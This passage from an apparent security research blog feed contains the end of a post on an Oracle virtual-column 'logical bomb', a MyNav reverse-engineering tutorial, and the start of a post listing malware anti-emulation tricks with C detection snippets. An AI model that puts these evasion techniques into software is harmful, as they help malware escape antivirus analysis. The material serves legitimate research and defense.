<div class="de1">SQL&amp;gt; conn / <span class="kw1">AS</span> sysdba</div>
</li>
<li class="li1">
<div class="de1">Connected.</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; <span class="kw1">SELECT</span> * <span class="kw1">FROM</span> joxean.t2;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">COL1 &nbsp; COL2</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">----- -----</span></div>
</li>
<li class="li1">
<div class="de1">a &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu0">1</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">SQL&amp;gt; <span class="kw1">SELECT</span> * <span class="kw1">FROM</span> dba_role_privs <span class="kw1">WHERE</span> grantee <span class="sy0">=</span> <span class="st0">&#39;JOXEAN&#39;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">GRANTEE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;GRANTED_ROLE &nbsp; &nbsp; &nbsp; &nbsp;ADM DEF</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">------------------------------ ------------------------------ --- ---</span></div>
</li>
<li class="li1">
<div class="de1">JOXEAN &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;RESOURCE &nbsp; &nbsp; &nbsp; &nbsp; NO &nbsp;YES</div>
</li>
<li class="li1">
<div class="de1">JOXEAN &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;DBA &nbsp; &nbsp; &nbsp; &nbsp; NO &nbsp;YES</div>
</li>
<li class="li1">
<div class="de1">JOXEAN &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CONNECT &nbsp; &nbsp; &nbsp; &nbsp; NO &nbsp;YES</div>
</li>
</ol>
</div>
<p>While it isn't a big issue it can be used as a "logical bomb" by an atacker with CREATE TABLE privileges: Simply create a table with an interesting name and wait for DBA to select data from this table <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Oh! By the way, to create a permanent table you only need to have the privilege to create a temporary table... But this is another history <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2010/05/14/dangers-of-oracle-virtual-columns/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>MyNav, a python plugin for IDA Pro</title>
		<link>http://joxeankoret.com/blog/2010/05/02/mynav-a-python-plugin-for-ida-pro/</link>
		<comments>http://joxeankoret.com/blog/2010/05/02/mynav-a-python-plugin-for-ida-pro/#comments</comments>
		<pubDate>Sun, 02 May 2010 15:28:53 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[vulnerabilities]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=146</guid>
		<description><![CDATA[MyNav is an Open Source IDAPython plugin for the commercial disassembler IDA Pro to be released on July 2010. The plugin adds a lot of new features only available in other products like in the well known Zynamics BinNavi or HB Gary's Inspector. In this blog post I will show you some of the features [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://code.google.com/p/mynav" target="_blank">MyNav</a> is an <a href="http://en.wikipedia.org/wiki/Open_Source" target="_blank">Open Source</a> <a href="http://code.google.com/p/idapython/" target="_blank">IDAPython</a> plugin for the commercial disassembler <a href="http://www.hex-rays.com/" target="_blank">IDA Pro</a> to be released on July 2010. The plugin adds a lot of new features only available in other products like in the well known <a href="http://www.zynamics.com" target="_blank">Zynamics</a> <a href="http://www.zynamics.com/binnavi.html" target="_blank">BinNavi</a> or <a href="http://www.hbgary.com/" target="_blank">HB Gary</a>'s Inspector. In this blog post I will show you some of the features available in the current version with some examples.<br />
<span id="more-146"></span><br />
<strong>Function's browser</strong></p>
<p>The navigator is good to get an idea about what a function does as we can see and browse in a user-friendly GUI all the functions executed from one specific point. For example, open the typical windows binary calc.exe in IDA Pro, wait until the initial analysis ends, run the script mynav.py in IDA and jump to the function "?CalcWndProc@@YGJPAUHWND__@@IIJ@Z" (at address 0x01006118 in Windows XP SP 3). Now, select Edit-&gt;Plugins-&gt;MyNav - Browse Function. A new dialog box will appear asking for the maximum recursion level, enter the number 1 and click OK. The following (browseable) graph will appear:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/browse-calcwndproc.png"><img class="aligncenter size-full wp-image-161" title="Browsing CalcWndProc" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/browse-calcwndproc.png" alt="" width="1280" height="998" /></a></p>
<p>Depending on the selected maximum recursion level, some child nodes will be hidden like, for example, the childs nodes of the function "?SetRadix@@YGXK@Z". To see the hidden nodes simply double clik in the node with text "(8 more nodes)". The following graph will appear:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/browse-childs.png"><img class="aligncenter size-full wp-image-162" title="Browse childs" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/browse-childs.png" alt="" width="1280" height="997" /></a></p>
<p>In this graph we can see what functions are executed from the "SetRadix" one. We can continue browsing the graph entering and leaving in some other functions but, what if I want to see what API calls are executed from an specific function? To open a browseable graph showing API calls select in the IDA's disassembly view the desired function (for example, the function at address 0x010022F9 in Windows XP SP3 -?CIO_vConvertToString@@YGXPAPAGPAUCALCINPUTOBJ@@H@Z-) and select Edit-&gt;Plugins-&gt;MyNav - Browse functions (show APIs), leave the default maximum recursion level and click OK. The browseable graph bellow will appear:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/browse-api-calls.png"><img class="aligncenter size-full wp-image-163" title="Browse showing APIs" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/browse-api-calls.png" alt="" width="833" height="469" /></a></p>
<p>Taking a look to this graph we can "abstractly" see what the function ConvertToString does.</p>
<p><strong>Code path searching</strong></p>
<p>One of the most typical tasks when looking for vulnerabilities is to find a code path between data entry points (functions where you can insert data) and some target functions (vulnerable ones). With MyNav we can search automatically for code paths between 2 functions with just a few clicks. For example, continuing with the Windows calculator, we will search code paths from "WinMain" and "EverythingResettingNumberSetup" so, select Edit-&gt;Plugins-&gt;MyNav - Show code paths between 2 functions. A dialog box showing all the binary's functions will be shown:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/function-select.png"><img class="aligncenter size-full wp-image-164" title="Select function" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/function-select.png" alt="" /></a></p>
<p>In this dialog box select the starting point (WinMain) and click OK, the same dialog will appear again asking for the target function, select "EverythingResettingNumberSetup" and click OK. The following graph will appear:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/show-codepaths.png"><img class="aligncenter size-full wp-image-165" title="Code paths" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/show-codepaths.png" alt="" width="1280" height="995" /></a></p>
<p><strong>Differential debugging usage example: notepad<br />
</strong></p>
<p>In this example we will discover and analyze the code responsible for opening a file in notepad. Run IDA Pro and open the notepad.exe binary. Wait until the initial analysis finishes and, after it, run the script mynav.py in IDA. A lot of new menus will be added under Edit-&gt;Plugins as shown bellow:</p>
<p style="text-align: center;"><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/menus.png"><img class="size-medium wp-image-147 aligncenter" title="Menus" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/menus-300x263.png" alt="" width="300" height="263" /></a></p>
<p>Now, select a debugger from the debugger dropdown list and select from Edit-&gt;Plugins menu the option called "MyNav - New session". A dialog box asking for a session's name will appear. Enter a meaningfull name like "GuiNoise" or something like this as we will be recording the code responsible of GUI painting, uninteresting for our goal (discover the code executed when we open a file inside notepad).</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/session-name.png"><img class="aligncenter size-full wp-image-149" title="session-name" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/session-name.png" alt="" width="650" height="115" /></a></p>
<p>Press OK and a message box saying that there is no breakpoint set will appear. Answer "Yes" and MyNav will set a breakpoint in every function and start the debuggger. While the application is running move the window, minimize, maximize, restore it, popup the contextual menus and close the application when done. When debugging stops, a graph showing all the executed functions will appear:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/gui-noise.png"><img class="aligncenter size-full wp-image-150" title="GUI noise" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/gui-noise.png" alt="" width="1280" height="994" /></a></p>
<p>This callgraph shows all the functions executed and the relationships between them. All the breakpoints sets in a function that was executed in this session were removed after the first hit so we will not stop again in the GUI related code. Now, record another session, select Edit-&gt;Plugin-&gt;MyNav - New session and enter the name "FileOpenDialog". When the debugger starts select in notepad "File-&gt;Open" and cancel the dialog box. Select again in notepad "File-&gt;Open" but this time select a file to open. When done, close the application and the following callgraph will appear:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/file-open-callgraph.png"><img class="aligncenter size-full wp-image-152" title="File open callgraph" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/file-open-callgraph.png" alt="" width="1024" height="579" /></a></p>
<p>This time only 7 functions appeared, those responsible of showing the file open dialog box and opening the file. The notepad.exe binary contains 88 functions and we discovered in a few seconds the interesting functions. Now, it's time to discover the exact code executed when I cancel the dialog box and when I select a file to open so, select Edit-&gt;Plugins-&gt;MyNav - Trace in session and a dialog box will appear showing all the recorded session. Select the session named "FileOpen" in the dialog shown bellow:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/active-sessions.png"><img class="aligncenter size-full wp-image-154" title="Sessions" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/active-sessions.png" alt="" width="400" height="205" /><br />
</a></p>
<p>After it, the typical dialog box asking for a sessions name will appear. Enter the name "TraceFileOpenCancel", click OK and the debugger starts. When notepad is opened, select File-&gt;Open, cancel the dialog box and close the application.</p>
<p style="text-align: center;"><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/trace-fileopen-cancel.png"><img class="aligncenter size-full wp-image-155" title="Trace file open cancel" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/trace-fileopen-cancel.png" alt="" width="1280" height="995" /></a></p>
<p>The colored basic blocks are those executed when we cancelled the dialog box. Now, we will trace again the same session but this time opening a file so, select Edit-&gt;Plugins-&gt;MyNav - Trace in session, select the session named "FileOpen" and enter the name "TraceFileOpen". When debugger starts the application select File-&gt;Open and open a file. When done, close notepad and the following code will be shown:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/trace-fileopen.png"><img class="aligncenter size-full wp-image-157" title="Trace file open" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/trace-fileopen.png" alt="" width="1280" height="996" /></a></p>
<p>The new color shows the basic blocks executed this time. If we want, we can see the differences between the 2 sessions. Select Edit-&gt;Plugins-&gt;MyNav - Show step trace session and a dialog box showing a list of all the recorded trace sessions will appear. Select the trace session called "TraceFileOpenCancel" and click OK. Notice the change in the graph:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/session-traces.png"><img class="aligncenter size-full wp-image-158" title="Sessions intersection" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/session-traces.png" alt="" width="1280" height="996" /></a></p>
<p>In about 5 minutes we discovered the functions and the instructions executed when we cancel the file open dialog box and when we open a file. It was easy, wasn't it? <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><strong>Final Notes</strong></p>
<p>MyNav will be released in July 2010 and the code will be uploaded to the <a href="http://code.google.com/p/mynav">project page</a> at <a href="http://code.google.com" target="_blank">Google Code</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2010/05/02/mynav-a-python-plugin-for-ida-pro/feed/</wfw:commentRss>
		<slash:comments>42</slash:comments>
		</item>
		<item>
		<title>Antiemulation Techniques (Malware Tricks II)</title>
		<link>http://joxeankoret.com/blog/2010/02/23/antiemulation-techniques-malware-tricks-ii/</link>
		<comments>http://joxeankoret.com/blog/2010/02/23/antiemulation-techniques-malware-tricks-ii/#comments</comments>
		<pubDate>Tue, 23 Feb 2010 18:55:00 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[antidebugging]]></category>
		<category><![CDATA[antiemulation]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[unpacking]]></category>
		<category><![CDATA[virtual machine detection]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=74</guid>
		<description><![CDATA[From time to time, when reversing malware, I find new antiemulation techniques as they are widely used by malware to evade detection by AVs that uses emulation, however, it seems that no one wrote about them maybe because there are a lot or, maybe, because they aren't very interesting. Anyway, a friend and I decided [...]]]></description>
			<content:encoded><![CDATA[<p>From time to time, when reversing malware, I find new antiemulation techniques as they are widely used by malware to evade detection by AVs that uses emulation, however, it seems that no one wrote about them maybe because there are a lot or, maybe, because they aren't very interesting. Anyway, a friend and I decided to look for antiemulation techniques and we found a bunch of them in just about 2 days. Surprise. Well, the following is a list of antiemulation techniques "found" by us.<br />
<span id="more-74"></span><br />
<strong>API Emulation</strong></p>
<p>The most typically used antiemulation technique is the use of undocumented APIs or the use of non common ones such as, in example, <a href="http://msdn.microsoft.com/en-us/library/ms680621(VS.85).aspx">SetErrorMode</a>:</p>
<div class="geshi no c">
<div class="head">DWORD dwCode = 1024;</div>
<ol>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; SetErrorMode<span class="br0">&#40;</span><span class="nu0">1024</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>SetErrorMode<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span> <span class="sy0">!=</span> <span class="nu0">1024</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw3">printf</span><span class="br0">&#40;</span><span class="st0">&quot;Hi emulator!<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
</ol>
</div>
<p>This technique catches, at least, the IDAPro+Bochs debugger and Norman Sandbox.</p>
<p>Another typical trick is the use of non existent APIs. Many emulators will try to "emulate" the function by simply returning 0 instead of failing with a null pointer exception. Another one, try to load a vital library for the operating system which is not emulated and call an exported function: just trying to load the library will fail in almost any emulators:</p>
<div class="geshi no c">
<div class="head">int test6(void)</div>
<ol>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">HANDLE hProc;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; hProc <span class="sy0">=</span> LoadLibrary<span class="br0">&#40;</span><span class="st0">&quot;ntoskrnl.exe&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>hProc <span class="sy0">==</span> <span class="kw2">NULL</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> EMULATOR_DETECTED;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> EMULATOR_NOT_DETECTED;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>Just in the case an emulator allows to load any library returning a pseudo handle, a bit more complex examples:</p>
<div class="geshi no c">
<div class="head">struct data1</div>
<ol>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw4">int</span> a1;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw4">int</span> a2;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">struct</span> data2</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw4">int</span> a1;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw4">int</span> a2;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw4">int</span> a3;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw4">int</span> a4;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw4">int</span> a5;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw4">int</span> a6;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw4">struct</span> data1 <span class="sy0">*</span>a7;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">typedef</span> <span class="kw4">int</span> <span class="br0">&#40;</span>WINAPI <span class="sy0">*</span>FCcSetReadAheadGranularity<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="kw4">struct</span> data2 <span class="sy0">*</span>a1, <span class="kw4">int</span> num<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">typedef</span> <span class="kw4">int</span> <span class="br0">&#40;</span>WINAPI <span class="sy0">*</span>FIofCallDriver<span class="br0">&#41;</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">int</span> test8<span class="br0">&#40;</span><span class="kw4">void</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">HINSTANCE hProc;</div>
</li>
<li class="li1">
<div class="de1">FIofCallDriver pIofCallDriver;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;hProc <span class="sy0">=</span> LoadLibrary<span class="br0">&#40;</span><span class="st0">&quot;ntkrnlpa.exe&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>hProc <span class="sy0">==</span> <span class="kw2">NULL</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;pIofCallDriver <span class="sy0">=</span> <span class="br0">&#40;</span>FIofCallDriver<span class="br0">&#41;</span> GetProcAddress<span class="br0">&#40;</span>hProc, <span class="st0">&quot;IofCallDriver&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;pIofCallDriver <span class="sy0">-=</span> <span class="nu0">2</span>; <span class="co1">// At this point there is a 0xCC character, so an INT3 should be raised</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;try</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; pIofCallDriver<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> EMULATOR_DETECTED;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;catch<span class="br0">&#40;</span>...<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> EMULATOR_NOT_DETECTED;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">int</span> test9<span class="br0">&#40;</span><span class="kw4">void</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">HINSTANCE hProc;</div>
</li>
<li class="li1">
<div class="de1">FCcSetReadAheadGranularity CcSetReadAheadGranularity;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">struct</span> data1 s1;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">struct</span> data2 s2;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">int</span> ret;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;hProc <span class="sy0">=</span> LoadLibrary<span class="br0">&#40;</span><span class="st0">&quot;ntkrnlpa.exe&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>hProc <span class="sy0">==</span> <span class="kw2">NULL</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;CcSetReadAheadGranularity <span class="sy0">=</span> <span class="br0">&#40;</span>FCcSetReadAheadGranularity<span class="br0">&#41;</span>GetProcAddress<span class="br0">&#40;</span>hProc, <span class="st0">&quot;CcSetReadAheadGranularity&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>CcSetReadAheadGranularity <span class="sy0">==</span> <span class="kw2">NULL</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;s1.<span class="me1">a2</span> <span class="sy0">=</span> <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;s2.<span class="me1">a7</span> <span class="sy0">=</span> <span class="sy0">&amp;</span>amp;s1;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// After this call, ret must be 0x666, the given 2nd argument minus 1</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;ret <span class="sy0">=</span> CcSetReadAheadGranularity<span class="br0">&#40;</span><span class="sy0">&amp;</span>amp;s2, 0x667<span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>ret <span class="sy0">!=</span> 0x666<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> EMULATOR_DETECTED;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span> EMULATOR_NOT_DETECTED;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>This technique(s) works in the 3 emulators I tested (Norman Sandbox, IDA+Bochs and Wine) and I'm pretty sure that them will work in any emulator.</p>
<p><strong>Old Features</strong></p>
<p>In the old -<em>good?</em>- days of MSDOS and Windows 9x the AUX, CON, and other special devices were used to read data from the keyboard, change terminal colors, etc... This behavior, while not currently supported (if I'm not wrong), works in current Microsoft Windows operating systems but not in emulators. The following is an easy example:</p>
<div class="geshi no c">
<div class="head">FILE *f;</div>
<ol>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; f <span class="sy0">=</span> fopen<span class="br0">&#40;</span><span class="st0">&quot;c:<span class="es0">\\</span>con&quot;</span>, <span class="st0">&quot;r&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>f <span class="sy0">==</span> <span class="kw2">NULL</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> EMULATOR_DETECTED;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> EMULATOR_NOT_DETECTED;</div>
</li>
</ol>
</div>
<p>The unique "emulator" that simulates correctly this behavior is Wine. This technique was found by 2 of my co-workers, <em>nick-namely</em>, "PE_Luchin" and "Shaddy".</p>
<p><strong>Assembly</strong></p>
<p>Emulating corrrectly a complete CPU is a very hard task and is also the most error prone area to look for incongruencies. Norman Sandbox works remarkably bad in this sense: The emulator fails (or it failed, I didn't tested it since last year) with instructions like ICEBP or UD2 and allows changing, in example, the debug registers via privileged instructions. Easier to see in the following 4 examples:</p>
<div class="geshi no c">
<div class="head">int test1(void)</div>
<ol>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; try</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; __asm</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;mov eax, <span class="nu0">1</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;mov dr0, eax</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; catch<span class="br0">&#40;</span>...<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> EMULATOR_NOT_DETECTED;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> EMULATOR_DETECTED;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">int</span> test2<span class="br0">&#40;</span><span class="kw4">void</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; try</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; __asm</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;mov eax, <span class="nu0">1</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;mov cr0, eax</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; catch<span class="br0">&#40;</span>...<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> EMULATOR_NOT_DETECTED;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> EMULATOR_DETECTED;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw4">int</span> test3<span class="br0">&#40;</span><span class="kw4">void</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; try</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
